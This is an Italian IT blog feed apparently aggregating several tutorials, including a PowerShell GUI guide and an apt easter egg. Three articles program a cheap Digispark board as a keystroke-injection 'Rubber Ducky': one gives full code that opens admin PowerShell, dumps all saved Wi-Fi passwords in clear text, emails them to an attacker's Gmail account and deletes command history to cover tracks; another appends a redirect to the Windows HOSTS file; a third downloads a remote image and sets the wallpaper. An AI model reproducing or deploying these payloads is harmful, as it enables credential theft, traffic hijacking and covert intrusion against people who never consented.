Quantcast
Channel: Information Technology
Viewing all 725 articles
Browse latest View live

PowerShell: Creare una GUI per uno script PowerShell

$
0
0
Gli script PowerShell vengono generalmente creati ed eseguiti all'interno di un'interfaccia a riga di comando e anche i risultati vengono visualizzati all'interno della finestra CLI (Command Line Interface). Ciò ne scoraggia l'utilizzo da parte degli utenti comuni. Tuttavia, PowerShellè un potente strumento di automazione e consente l'utilizzo di una varietà di oggetti .NET Framework. Per creare una semplice interfaccia grafica per gli script PowerShell basta utilizzare l'API .NET.

In quest'articolo verrà mostrato come creare un semplice Form. Prima di iniziare assicurarsi che la versione di PowerShell installata sul proprio sistema sia 3.0 o superiore. Per farlo basta eseguire $PSVersionTable.PSVersion da una finestra PowerShell per visualizzare un'output come quello mostrato in FIG 1. Se la variabile non esiste allora probabilmente si tratta della versione 1.0

Versioni di PowerShell:
  • Versione 1.0: distribuita nel 2006 come download opzionale. Obsoleta
  • Versione 2.0: distribuita nel 2009 come parte di Windows 7/Windows Server 2008. L'unica versione che supporta Windows XP e Windows Server 2003.
  • Versione 3.0: distribuita nel 2012 come parte di Windows 8/Windows Server 2012. Sono state completate le caratteristiche principali del linguaggio ed è stato riprogettato l'editor ISE.
  • Versione 4.0: distribuita nel 2013 come parte di Windows 8.1/Windows Server 2012R2. Aggiunto DSC (Desired State Configuration).
  • Versione 5.0: distribuita nel 2016 come parte di Windows 10. In tale versione sono state introdotte numerose funzionalità ed estensioni.
  • Versione 5.1: distribuita nel 2017 come parte di Windows 10 Anniversary Update\Windows Server 2016.

PowerShell, visualizzare la versione installata nel sistema
FIG 1 - PowerShell, visualizzare la versione installata nel sistema
Il blocco di codice per creare un semplice Form è il seguente:

Add-Type -assembly System.Windows.Forms
$form = New-Object System.Windows.Forms.Form
$form.Text ='La mia finestra in PowerShell'
$form.Width = 400
$form.Height = 200
$form.AutoSize = $true
$form.ShowDialog()

Per la creazione del Form viene utilizzata la classe System.Windows.Forms di .NET. Per caricare tale classe all'interno dello script PowerShell si utilizza tale codice:
Add-Type -assembly System.Windows.Forms

Nell'istruzione successiva 
$form = New-Object System.Windows.Forms.Form
viene avviata una nuova istanza della classe System.Windows.Forms.Form di .NET Framework che genera una finestra vuota (Form o modulo) in cui è possibile iniziare ad aggiungere controlli.

Successivamente viene impostato un titolo per la finestra attraverso la proprietà Text, quindi vengono impostate le dimensioni (larghezza e altezza) tramite le proprietà Width e Height
$form.Text ='La mia finestra in PowerShell'
$form.Width = 400
$form.Height = 200

Per fare in modo che il Form si ridimensioni automaticamente in base al suo contenuto viene utilizzata la proprietà AutoSize.
$form.AutoSize = $true

L'ultima istruzione 
$form.ShowDialog()
non fa altro che richiamare il metodo ShowDialog per visualizzare a video il Form.

Per creare lo script basta copiare il blocco di codice sopra indicato all'interno di un editor di testo (come ad es. Blocco Note) e salvare il file con estensione .ps1 (ad es. Form1.ps1). Per eseguirlo da PowerShell digitare il nome del file .ps1 comprensivo del percorso (ad es. c:\Users\glubrano\desktop\Form1.ps1). Il risultato sarà quello mostrato in FIG 2.

Dal seguente link è possibile scaricare il file contenente il blocco di codice.
DOWNLOAD Form1.ps1
Form in PowerShell
FIG 2 - Form in PowerShell



Il Form così creato serve a ben poco. Possiamo aggiungere altri elementi come un etichette (label), una casella combinata (combobox) e un pulsante (button). Quello che andremo a costruire nelle prossime righe è uno script PowerShell che permette di selezionare, all'interno della combobox, una specifica cartella e, cliccando sul pulsante, visualizzarne la data dell'ultima modifica.

Iniziamo ad inserire un etichetta. Per farlo basta aggiungere il seguente blocco di codice prima dell'ultima istruzione $form.ShowDialog().

$Label1 = New-Object System.Windows.Forms.Label
$Label1.Text = "Directory:"
$Label1.Location = New-Object System.Drawing.Point(5,10)
$Label1.AutoSize = $true
$form.Controls.Add($Label1)

Con la prima istruzione viene creata una nuova istanza della classe System.Windows.Forms.Label che genera l'etichetta. Successivamente viene specificato il testo che l'etichetta andrà a visualizzare quindi, tramite System.Drawing.Point(5,10) andiamo a specificare la posizione, all'interno del Form, in cui verrà visualizzata l'etichetta. Anche in questo caso viene impostata la proprietà AutoSize in modo che le dimensioni dell'elemento si adeguano in base al contenuto. 
L'ultima istruzione 
$form.Controls.Add($Label1)
aggiunge l'etichetta al form precedentemente creato.


Il passo successivo consiste nell'inserire una casella combinata accanto all'etichetta. Aggiungiamo il seguente blocco di codice al nostro file .PS1 (assicurandoci che l'ultima istruzione sia sempre $form.ShowDialog()) .

$ComboBox1 = New-Object System.Windows.Forms.ComboBox
$ComboBox1.Width = 150
$Folders = get-childitem -dir | Select Name
Foreach ($Folder in $Folders){
$ComboBox1.Items.Add($Folder.Name);
}
$ComboBox1.Location = New-Object System.Drawing.Point(60,10)
$form.Controls.Add($ComboBox1)

In questo blocco gran parte delle istruzioni sono analoghe a quanto visto per i blocchi precedenti. Con l'istruzione
$Folders = get-childitem -dir | Select Name
andiamo ad assegnare alla variabile $Folders l'elenco delle directory presenti nel path da cui stiamo richiamando lo script. Il ciclo ForEach non fa altro che estrarre il nome delle directory e inserirle all'interno della combobox.


Il blocco successivo provvede ad inserire all'interno del Form due etichette: Label2 e Label3. Quest'ultima mostrerà la data dell'ultima modifica della cartella selezionata quando si clicca sul pulsante presente alla destra della combobox.

$Label2 = New-Object System.Windows.Forms.Label
$Label2.Text = "Data modifica:"
$Label2.Location = New-Object System.Drawing.Point(5,40)
$Label2.AutoSize = $true
$form.Controls.Add($Label2)

$Label3 = New-Object System.Windows.Forms.Label
$Label3.Text = ""
$Label3.Location = New-Object System.Drawing.Point(90,40)
$Label3.AutoSize = $true
$form.Controls.Add($Label3)

Blocco codice relativo al pulsante. 

$Button1 = New-Object System.Windows.Forms.Button
$Button1.Location = New-Object System.Drawing.Point(220,10)
$Button1.Size = New-Object System.Drawing.Size(150,20)
$Button1.Text = "Visualizza data modifica"
$form.Controls.Add($Button1)

Anche questi 2 blocchi vanno inseriti prima dell'istruzione $form.ShowDialog(). Nel blocco relativo al pulsante troviamo l'istruzione 
$Button1.Size = New-Object System.Drawing.Size(120,20)
che consente di specificare la dimensione dell'elemento.

Adesso non resta che inserire un'ultimo blocco in cui andiamo ad aggiungere un evento relativo al click sul pulsante. 

$Button1.Add_Click(
{
$Label3.Text = (get-item $ComboBox1.selectedItem).LastWriteTime
}
)

L'istruzione
$Label3.Text =  (get-item  $ComboBox1.selectedItem).LastWriteTime 
rileva la data di modifica della directory selezionata all'interno della combobox e la visualizza attraverso la Label3.

L'intero script può essere scaricato dal seguente link
DOWNLOAD Form2.ps1

Eseguendo lo script, l'output sarà simile a quello mostrato in FIG 3.
PowerShell, Visualizzare la data di modifica di una data cartella attraverso il Form
FIG 3 - PowerShell, Visualizzare la data di modifica di una data cartella attraverso il Form


In modo analogo possono essere inseriti ulteriori elementi all'interno del Form come:
- CheckBox
- ChekedListBox
- ContextMenu
- DateTimePicker
- GroupBox
- HScrollBar
- ListBox
- ListView
- Menu
- PictureBox
- ProgressBar
- RadioButton
- TabControl
- TextBox
- TrackBar
- TreeView
- VScrollBar


Per creare in maniera semplice Form accattivanti per script in PowerShell, è possibile usare l'editor online https://poshgui.com/Editor. Tale editor, attraverso una semplice interfaccia grafica, consente di progettare/realizzare una GUI per i propri script PowerShell anche a chi è poco pratico e scaricare il codice sorgente.
POSHGUI, Editor online GUI PowerShell
FIG 4 - POSHGUI, Editor online GUI PowerShell






Linux: Easter Egg Debian/Ubuntu

$
0
0
APT (Advanced Packaging Tool) è il gestore dei pacchetti software utilizzato enlle distrubuzioni Linux Debian/Ubuntu. Tale tool nasconde un Easter egg. Aprire il terminale di una distribuzione Linux basata su Debian/Ubuntu ed eseguire i seguenti comandi:
apt moo
apt moo moo
apt moo moo moo

Se è installato aptitude provare ad eseguire anche:
aptitude moo -v
aptitude moo -vv
aptitude moo -vvv
aptitude moo -vvvv
aptitude moo -vvvvv


Linux, apt moo Easter Egg
FIG 1 - Linux, apt moo Easter Egg





Creare una Rubber Ducky economica con una scheda Digispark

$
0
0
La Rubber Ducky è una particolare pendrive USB che viene riconosciuta dai sistemi come una normale tastiera. Il dispositivo contiene, generalmente all'interno di una scheda micro SD, script che vengono eseguiti non appena collegato ad una porta USB del computer. Le Rubber Ducky vengono spesso utilizzate per il pentesting allo scopo di automatizzare la digitazione/esecuzione di comandi e hanno un costo che si aggira sui 45$. Tramite la porta USB il dispositivo può essere connesso praticamente a tutti i PC e le sue ridotte dimensioni ne consentono anche un utilizzo fraudolento.
In questo articolo verrà mostrato come preparare una Rubber Ducky economica spendendo pochi euro utilizzando una scheda Digispark.
Digispark Kickstarter
FIG 1 - Digispark Kickstarter
ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

Digispark Kickstarterè una piccola scheda di sviluppo USB basata sul microcontroller ATtiny85 simile a quello montato su Arduino Uno ma più piccolo, economico e meno potente. Il microcontroller è collegato direttamente alla presa USB, la tensione viene regolata tramite il regolatore MC78M00 che, se raffreddato adeguatamente, può fornire in output 500mA. La scheda può essere programmata tramite l'IDE di Arduino. Le caratteristiche principali della scheda sono: 
  • Supporto per Arduino IDE 1.0+ (OSX / Win / Linux)
  • Alimentazione tramite USB o sorgente esterna - 5v o 7-35v (consigliato 12v o meno, selezione automatica)
  • Regolatore con uscita 5V - 500mA
  • Integrato USB incorporato
  • 6 pin I / O (2 usano solo USB se il programma comunica attivamente tramite USB, altrimenti è possibile utilizzare tutti i 6 pin anche se si sta programmando tramite USB)
  • 8k Memoria Flash (circa 6k dopo il bootloader)
  • I2C e SPI
  • PWM su 3 piedini (altri con Software PWM)
  • ingresso ADC su 4 pin
  • LED di alimentazione e LED di stato

Digispark Kickstarter Pinout
FIG 2 - Digispark Kickstarter Pinout

Come visibile in FIG 2 , tutti i pin possono essere usati come I/O digitali.





Installazione manuale driver

Affinché la scheda venga riconosciuta dal sistema per la programmazione è necessario scaricare e installare manualmente i driver.
  • Scaricare i driver da https://github.com/digistump/DigistumpArduino/releases/download/1.6.7/Digistump.Drivers.zip oppure da QUI;
  • Scompattare il file .zip ed eseguire il file Install Drivers.exe (a seconda della versione a 32 o 64 bit del sistema operativo verrà installata la relativa versione del driver);
  • Nella finestra Installazione guidata driver di periferica cliccare su Avanti;
    Installazione guidata driver Digispark
    FIG 3 - Installazione guidata driver Digispark
  • Nella finestra successiva selezionare la casella Considera sempre attendibile il software proveniente da "Digistump LLC" e cliccare su Installa;
    Installazione driver Digispark
    FIG 4 - Installazione driver Digispark
  • Al termine dell'installazione verrà visualizzata la finestra mostrata in FIG 5. Cliccare su Fine per terminare.
    Installazione driver Digispark completata
    FIG 5 - Installazione driver Digispark completata




Installazione IDE Arduino

Per la programmazione della scheda Digisparkè necessario utilizzare l'IDE Arduino:
  • Da https://www.arduino.cc/en/main/softwarescaricare Arduino IDE;
  • Avviata l'installazione accettare le condizioni della licenza mostrata nella prima schermata cliccando su I Agree;
    Installazione IDE Arduino, accettazione licenza
    FIG 6 - Installazione IDE Arduino, accettazione licenza
  • Nella schermata successiva accettare le impostazioni suggerite cliccando su Next;
    Installazione IDE Arduino, selezione componenti
    FIG 7 - Installazione IDE Arduino, selezione componenti
  • Accettare il percorso di installazione dell'IDE e cliccare su Install per avviare l'installazione del software;
    Installazione IDE Arduino, selezione del path di installazione
    FIG 8 - Installazione IDE Arduino, selezione del path di installazione
  • Nelle finestre successive selezionare la casella Considera sempre attendibile il software proveniente da "......" e cliccare sul pulsante  Installa;
    Installazione IDE Arduino, installazione software/driver
    FIG 9 - Installazione IDE Arduino, installazione software/driver
  • Al termine dell'installazione cliccare su Close.

    Installazione IDE Arduino completata
    FIG 10 - Installazione IDE Arduino completata




Configurazione IDE Arduino e test Digispark Kickstarter 

  • Avviare l'IDE quindi dal menu File selezionare Impostazioni;
    Arduino IDE
    FIG 11 - Arduino IDE
  • Nella casella URL aggiuntive per il Gestore schede digitare, se non già presente, l'indirizzo http://digistump.com/package_digistump_index.json e cliccare su OK;
    Arduino IDE, Impostazioni
    FIG 12 - Arduino IDE, Impostazioni
  • Dal menu Strumenti selezionare Scheda: quindi cliccare su Gestore schede...;
    Arduino IDE, Gestore Schede
    FIG 13 - Arduino IDE, Gestore Schede
  • Nella casella denominata Tipo selezionare Fornito da terzi quindi, dall'elenco, selezionare il pacchetto Digitump AVR Boards e cliccare su Installa;
    Arduino IDE, Gestore schede
    FIG 14 - Arduino IDE, Gestore schede
  • Terminata l'installazione chiudere la finestra Gestore schede e selezionare Digispark (Default - 16.5mhz) dal menu Strumenti -> Scheda.
    Arduino IDE, Scheda Digispark (Default - 16.5mhz)
    FIG 15 - Arduino IDE, Scheda Digispark (Default - 16.5mhz) 

Adesso che l'ambiente di sviluppo è stato configurato è possibile testare la scheda utilizzando uno degli esempi presenti all'interno dell IDE.
  • Dal menu File selezionare Esempi quindi Digispark_Examples;
  • Dall'elenco selezionare il progetto Start;
    Arduino IDE, Digispark Examples
    FIG 16 - Arduino IDE, Digispark Examples
  • Premere il pulsante di caricamento. Il codice verrà compilato e nella barra di stato dell'IDE verrà richiesto di collegare il dispositivo Digispark per il caricamento (se già collegato, scollegarlo e ricollegarlo);
    Arduino IDE, Compilazione e caricamento codice
    FIG 17 - Arduino IDE, Compilazione e caricamento codice
  • Inserire il dispositivo Digispark ed attendere il caricamento del codice. Al termine del caricamento il led sulla scheda inizierà a lampeggiare con la frequenza di 1Hz (ossia 1 volta al secondo).


Da questo momento il programma è caricato all'interno del dispositivo, basterà collegarlo ad una fonte di alimentazione e, dopo qualche secondo, verrà eseguito il codice caricato. Il ritardo nell'esecuzione del codice (generalmente di 5 secondi) è dovuto al controllo eseguito dal dispositivo per verificare se si sta tentando di programmarlo.



Programmazione Digispark Kickstarter per rubare credenziali Wi-Fi

Con i passaggi sopra indicati abbiamo programmato e testato il dispositivo ma la funzione di accendere e spegnere il led serve a poco.

Di seguito andremo a programmare la Digispark per rubare le password Wi-Fi quando viene connessa ad un PC con sistema operativo Windows 10 e inviarle ad un nostro account di posta. 

Per la dimostrazione utilizzerò un account Gmail. Per utilizzare questo tipo di account è necessario abilitare l'accesso alle app meno sicure nelle impostazioni dell'account ciò abbasserà la sicurezza della casella di posta elettronica pertanto consiglio di effettuare l'operazione su una mailbox "di servizio". Per attivare tale impostazione:
  • Dalla pagina web di Google accedere al proprio account;
  • Accedere alla pagina https://myaccount.google.com;
  • Cliccare sulla sezione Sicurezza (sul lato sinistro della schermata);
  • Nella sezione Accesso app meno sicure cliccare su Attiva accesso (sconsigliato);
    Gmail, Accesso app meno sicure
    FIG 18 - Gmail, Accesso app meno sicure
  • Dallo slider abilitare l'opzione Consenti app meno sicure;
    Gmail, Consenti app meno sicure
    FIG 19 - Gmail, Consenti app meno sicure
  • Scaricare dal seguente link il file Digispark_Wi-Fi_pwd_to_email.zip
    DOWNLOAD
  • Scompattare il file. Cliccare 2 volte sul file Digispark_Wi-Fi_pwd_to_email.INO per aprirlo nell'IDE Arduino.
  • All'interno del file sostituire:
    - INDIRIZZO_GMAIL_MITTENTE con l'indirizzo Gmail che vogliamo utilizzare per l'invio dei dati;
    - PASSWORD con la password dell'account Gmail con il quale inviamo;
    - INDIRIZZO_EMAIL_DESTINATARIO indirizzo email a cui vogliamo recapitare i dati rubati.
  • Cliccare sul tasto carica per compilare e caricare il programma sul dispositivo. Al termine della procedura basterà collegare il dispositivo per meno di 30 secondi ad un PC Windows 10 per rubare le credenziali Wi-Fi.
Digispark, codice programma
FIG 20 - Digispark, codice programma


Analisi del programma

Come indicato all'inizio dell'articolo, il dispositivo Digispark viene riconosciuto dal sistema operativo come una tastiera. Per la programmazione non facciamo altro che passare al dispositivo i tasti da digitare in modo da scrivere ed eseguire comandi al posto nostro.
Il linguaggio di programmazione utilizzato per programmare Arduino (e le schede basate su di esso) è il Wiring. Si tratta di un linguaggio di programmazione piuttosto semplice che consente la definizione di costanti, definizione di variabili e l'utilizzo di librerie esterne.
In questa parte dell'articolo andremo ad analizzare il contenuto del file Digispark_Wi-Fi_pwd_to_email.INO che rappresenta il programma principale.

La prima riga che ritroviamo è
#include "KeyboardIT.h"
Con questa istruzione viene caricata la libreria KeyboardIT.h nella quale è contenuta la mappatura dei tasti della tastiera italiana. 
Successivamente ritroviamo la procedura void setup.
void setup() {
}
Tale procedura, presente in tutti i programmi Arduino, viene utilizzata per impostare le porte presenti sulla scheda (input/output) ed eseguire comandi una sola volta non appena il dispositivo viene collegato. Si tratta di funzioni che per il nostro scopo non sono necessarie pertanto la procedura è vuota.

La procedura void loop() 
void loop() {
contiene le istruzioni del programma che vengono eseguite ciclicamente (in loop) ovvero quando si arriva alla fine il programma riparte dall'inizio.

Con l'istruzione
DigiKeyboard.sendKeyStroke(0);
viene simulata la pressione di un tasto. Con sendKeyStroke(), utilizzato anche in altri punti del programma, viene simulata la pressione di un tasto o di un gruppo di tasti (separati da virgola). Il nome dei tasti passati al metodo si basa sulla mappatura presente all'interno della libreria KeyboardIT.h.


DigiKeyboard.delay(500);
L'istruzione inserisce un ritardo, specificato in millisecondi tra parentesi, prima di eseguire l'istruzione successiva.

Il blocco di istruzioni successivo
  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_}
| %{(netsh wlan show profile name=$name key=clear)} | Out-File wifi.txt; exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(3000);

simula la combinazione di tasti Windows+X che, in Windows 10, apre il menu contestuale del tasto Start. Successivamente viene simulata la pressione del tasto A che nella versione aggiornata del sistema operativo Microsoft e nel menu contestuale aperto in precedenza corrisponde all'avvio di Windows PowerShell (amministratore)(FIG 21). Per rispondere affermativamente alla finestra del Controllo dell'account utente, viene utilizzato sendKeyStroke(KEY_S, MOD_ALT_LEFT) che corrisponde alla combinazione ALT+S.
Windows 10, Windows PowerShell (amministratore)
FIG 21 - Windows 10, Windows PowerShell (amministratore)

Il metodo DigiKeyboard.print consente di stampare/scrivere a video (in questo caso all'interno della finestra PowerShell) il comando che gli viene passato. Il comando verrà eseguito con l'istruzione successiva DigiKeyboard.sendKeyStroke(KEY_ENTER) che simula la pressione del tasto Invio. Nel nostro caso netsh wlan show profiles visualizza tutti i profili Wi-Fi presenti sulla macchina quindi, per ognuno, viene visualizzata la password in chiaro con il comando netsh wlan show profile name=$name key=clear. L'output viene rediretto all'interno del file wifi.txt.

A questo punto, nel blocco successivo,
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true;
$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('INDIRIZZO_GMAIL_MITTENTE', 'PASSWORD');
$ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'INDIRIZZO_GMAIL_MITTENTE';
$ReportEmail.To.Add('INDIRIZZO_EMAIL_DESTINATARIO'); $ReportEmail.Subject = 'Credenziali reti Wi-Fi :)';
$ReportEmail.Body = 'In allegato le credenziali. '; $ReportEmail.Attachments.Add('wifi.txt');
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);

viene avviato nuovamente Windows PowerShell (amministratore). Con New-Object Net.Mail.SmtpClient viene creata l'email con in allegato il file wifi.txt contenente le password e inviata con la digitazione del tasto Invio presente nell'istruzione successiva.

Nel blocco finale andiamo a cancellare le tracce.
  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("del wifi.txt"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER)
for(;;){ /*empty*/ }

Viene eliminata la cronologia dei comando PowerShell e il file wifi.txt.








Digispark, modificare il file HOSTS in Windows 10

$
0
0
Nell'articolo Creare una Rubber Ducky economica con una scheda Digispark è stato mostrato come programmare una scheda Digispark per recuperare i profili Wi-Fi con relative credenziali ed inviarle in allegato ad un'email ad un indirizzo di posta elettronica.
In quest'articolo la scheda Digispark verrà programmata per modificare il file HOSTS in modo che la navigazione web verso alcuni domini venga dirottata ad un indirizzo/server di nostra scelta.


Digispark Kickstarter
FIG 1 - Digispark Kickstarter
ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

Prima di procedere con la programmazione della scheda un breve accenno sul funzionamento del file HOSTS.

All'interno di una rete, che utilizza il protocollo TCP/IP, alle risorse viene generalmente assegnato un nome human-friendly in modo da facilitarne la connessione da parte degli utenti. Attraverso un processo chiamato risoluzione dei nomi, il sistema traduce il nome della risorsa nel corrispondente indirizzo IP. In ambiente Windows la risoluzione del nome di un host utilizza generalmente la seguente sequenza:
  • Il client verifica se il nome da risolvere è il proprio;
  • Viene interrogato il file HOSTS in locale sulla postazione;
  • Viene interrogato un server DNS.

Il file HOSTS non è altro che un file di testo (visualizzabile e modificabile da un qualsiasi editor di testo) che contiene indirizzi IP e i corrispondenti nomi host. Ciascun indirizzo IP è separato dal nome host da uno spazio bianco (anche se per ragioni storiche spesso viene utilizzato il carattere di tabulazione come separatore). All'interno del file HOSTSè possibile trovare/inserire anche righe di commenti riconoscibili dal carattere hash (#) presente all'inizio della riga. Poiché il file HOSTS in ambiente Windows ha la precedenza sull'interrogazione dei server DNS, può essere utilizzato per bloccare l'accesso a specifici siti o a dirottare la navigazione.. A partire da Windows XP il file HOSTS si trova all'interno della cartella %windir%\System32\drivers\etc.
File Hosts
FIG 1 - File Hosts


Per poter programmare la scheda Digispark, oltre gli opportuni driver, è necessario installare e configurare l'IDE di Arduino. Per questi passaggi e per informazioni più dettagliate sulla scheda rimando all'articolo precedente.

Per la programmazione del dispositivo:
  • Scaricare il file Digispark_file_HOSTS.zip dal seguente link
    DOWNLOAD
  • Scompattare il file e cliccare 2 volte sul file Digispark_file_HOSTS.INO per aprirlo nell'IDE Arduino;
  • Cliccare sul tasto carica per compilare e caricare il programma sul dispositivo. Quando richiesto, collegare la scheda Digispark e attendere il caricamento del programma.
Programmare il dispositivo Digispark tramite l'IDE Arduino
FIG 2 - Programmare il dispositivo Digispark tramite l'IDE Arduino

Terminato il caricamento, la scheda è pronta per essere usata. Basterà collegarla ad un PC con sistema operativo Windows 10 per modificare in pochi secondi il file HOSTS.

Rispetto a quanto visto nell'articolo precedente, il programma è molto più semplice:
#include "KeyboardIT.h"

void setup() {
}

void loop() {
DigiKeyboard.sendKeyStroke(0);
//Avvio prompt dei comandi come amministratore o PowerShell come amministratore in caso di Windows 10 aggiornato
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
DigiKeyboard.delay(1500);
//Aggiunge riga al file HOSTS. Tentando di accedere al sito www.dell.com si viene dirottati all'indirizzo IP specificato
// che corrisponde all'indirizzo www8.hp.com
DigiKeyboard.println("ECHO 15.73.4.77 www.dell.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS");
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
//Esegue la pulizia della cache dei DNS
DigiKeyboard.println("ipconfig /flushdns");
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
//chiude la finestra del prompt dei comandi/PowerShell
DigiKeyboard.println("exit");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /*empty*/ }
}


In pratica viene avviato Windows PowerShell (amministratore) (nel caso di versioni di Windows 10 non aggiornate viene avviato un prompt dei comandi con i privilegi di amministratore) dopodiché con l'istruzione
DigiKeyboard.println("ECHO 15.73.4.77 www.dell.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS"); 
viene aggiunta la seguente riga al file HOSTS
15.73.4.77 www.dell.com
In questo modo tutte le volte che l'utente tenterà di accedere a www.dell.com verrà dirottato all'indirizzo IP 15.73.4.77 che corrisponde al sito di HP (www8.hp.com)
Successivamente viene svuotata la cache dei DNS con l'istruzione
DigiKeyboard.println("ipconfig /flushdns");
e chiusa la finestra di PowerShell.










Digispark, Modificare l'immagine di sfondo di Windows

$
0
0
Nei precedenti articoli Creare una Rubber Ducky economica con una scheda Digispark e Digispark, modificare il file HOSTS in Windows 10 
sono state mostrare alcune delle operazioni effettuabili con un dispositivo Digispark di pochi euro.
In questo articolo la scheda Digispark verrà programmata in modo che esegua il download di un'immagine da remoto e la imposti come sfondo di Windows.
Digispark Kickstarter
FIG 1 - Digispark Kickstarter

L'immagine che verrà scaricata è la seguente:
Digispark, sostituzione Wallpaper
FIG 2 - Digispark, sostituzione Wallpaper


Per i dettagli sulle caratteristiche della scheda Digispark e informazioni sulla programmazione e predisposizione dell'IDE Arduino rimando al primo articolo.

Per la programmazione del dispositivo:
  • Scaricare il file Digispark_WallPaper.zip dal seguente link DOWNLOAD
  • Scompattare il file e cliccare 2 volte sul file Digispark_WallPaper.INO per aprirlo nell'IDE Arduino;
  • Cliccare sul tasto carica per compilare e caricare il programma sul dispositivo. Quando richiesto, collegare la scheda Digispark e attendere il caricamento del programma.
Digispark, Programmazione tramite IDE Arduino
FIG 3 - Digispark, Programmazione tramite IDE Arduino


Di seguito il codice del programma:
#include "KeyboardIT.h"

void setup() {
}


void loop() {
DigiKeyboard.sendKeyStroke(0);
//mostra desktop
DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
DigiKeyboard.delay(1000);
// start->Esegui
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.print("powershell");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(3000);
DigiKeyboard.print("$client = new-object System.Net.WebClient");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
//Download immagine
DigiKeyboard.print("$client.DownloadFile(\"https://1.bp.blogspot.com/
-Gb4Ku1gaFao/XZ-PbzlCj3I/AAAAAAAAEc0/3uSk9g8fBvY3qKmdHf0OZg6FhfmV7xoEACLcBGAsYHQ/s1600/Wallpaper_Wile.jpg\" , \"Wile.jpg\")");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(3000);
//sostituzione Wallpaper
DigiKeyboard.print("reg add \"HKCU\\Control Panel\\Desktop\" /v WallPaper /d \"%USERPROFILE%\\Wile.jpg\" /f");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(3000);
DigiKeyboard.print("RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print("exit");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /*empty*/ }
}






Windows 10: Disabilitare l'assistenza remota

$
0
0
Windows 10 include la funzione Assistenza remota che permette all'utente, in caso di difficoltà, di richiedere l'aiuto di una persona più esperta permettendogli di connettersi al proprio computer da remoto. La funzione è attiva di default ma, per ragioni di sicurezza, converrebbe tenerla disabilitata.
Per accedere velocemente alle opzioni di Assistenza remota e disabilitarla:
  • Cliccare, con il tasto destro del mouse, sull'icona Start e seleziona Esegui dal menu contestuale (in alternativa premere la combinazione di tasti WIN+R);
  • Nella finestra di dialogo Esegui, digitare ed eseguire il comando
    systempropertiesremote 
  • Nella finestra Proprietà del sistema che appare a video, togliere la spunta alla casella Consenti connessioni di Assistenza remota al computer e cliccare sul pulsante OK per confermare la modifica.
    Windows 10, Assistenza remota al computer
    FIG 1 - Windows 10, Assistenza remota al computer

Per abilitare, in caso di necessità, la funzione di Assistenza remota, basterà procedere in maniera analoga e riattivare la spunta all'apposita casella.




Windows Quick Tip: Scaricare e installare diverse versioni del .NET Framework

$
0
0
